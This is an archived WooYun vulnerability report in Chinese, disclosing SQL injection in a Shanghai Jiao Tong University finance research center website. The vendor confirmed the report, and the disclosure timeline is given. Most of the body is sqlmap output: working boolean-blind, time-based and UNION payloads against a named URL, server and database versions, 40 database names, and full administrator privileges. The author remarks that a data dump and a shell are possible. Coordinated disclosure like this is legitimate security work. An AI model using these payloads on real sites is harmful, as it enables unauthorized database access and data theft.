漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0135087
漏洞标题：上海交通大学某站sql注入漏洞
相关厂商：sjtu.edu.cn
漏洞作者： 路人甲
提交时间：2015-08-19 10:58
修复时间：2015-10-05 22:12
公开时间：2015-10-05 22:12
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：11
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-08-19： 细节已通知厂商并且等待厂商处理中
2015-08-21： 厂商已经确认，细节仅向厂商公开
2015-08-31： 细节向核心白帽子及相关领域专家公开
2015-09-10： 细节向普通白帽子公开
2015-09-20： 细节向实习白帽子公开
2015-10-05： 细节向公众公开
简要描述：
rt
详细说明：
http://www.sfea.com.cn/newsdetail.php?cid=232
上海交通大学金融研究中心
上海交通大学 金融工程研究中心 版权所有
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cid=232 AND 5340=5340
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: cid=232 AND (SELECT * FROM (SELECT(SLEEP(5)))ranj)
Type: UNION query
Title: Generic UNION query (NULL) - 27 columns
Payload: cid=-1238 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,CONCAT(0x717a6a7171,0x48524165656e74634255,0x716a716b71),NULL,NUL
L,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[18:21:30] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL 5.0.12
40个库
available databases [40]:
[*] ballwatch
[*] eurobar
[*] fangwei
[*] gvgfd
[*] information_schema
[*] jiaotong
[*] luhu
[*] mkx
[*] moban
[*] mysql
[*] oaqunhainet
[*] performance_schema
[*] qh_jiao
[*] qh_jub
[*] qh_mzc
[*] qh_pang
[*] qh_pxw
[*] qh_sm
[*] qh_syf
[*] qh_szy
[*] qh_whq
[*] qh_whq1
[*] qh_whq2
[*] qh_whq3
[*] qh_whq4
[*] qh_xzm
[*] qh_yuj
[*] qh_zcy
[*] qh_zsl
[*] qkw
[*] roulianwang
[*] shenran
[*] taozhu
[*] test
[*] tpweb
[*] weibaitong2015
[*] weixin
[*] xiept
[*] yunyoucrm
[*] zhongbaowang
最高权限。可脱裤，可shell
database management system users privileges:
[*] 'qh_whq'@'localhost' (administrator) [22]:
privilege: ALTER
privilege: CREATE
privilege: CREATE TEMPORARY TABLES
privilege: CREATE VIEW
privilege: DELETE
privilege: DROP
privilege: EXECUTE
privilege: FILE
privilege: INDEX
privilege: INSERT
privilege: LOCK TABLES
privilege: PROCESS
privilege: REFERENCES
privilege: RELOAD
privilege: REPLICATION CLIENT
privilege: REPLICATION SLAVE
privilege: SELECT
privilege: SHOW DATABASES
privilege: SHOW VIEW
privilege: SHUTDOWN
privilege: SUPER
privilege: UPDATE
。。。。。
漏洞证明：
121
修复方案：
121
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：15
确认时间：2015-08-21 22:11
厂商回复：
谢谢，我们立即安排处理！
最新状态：
暂无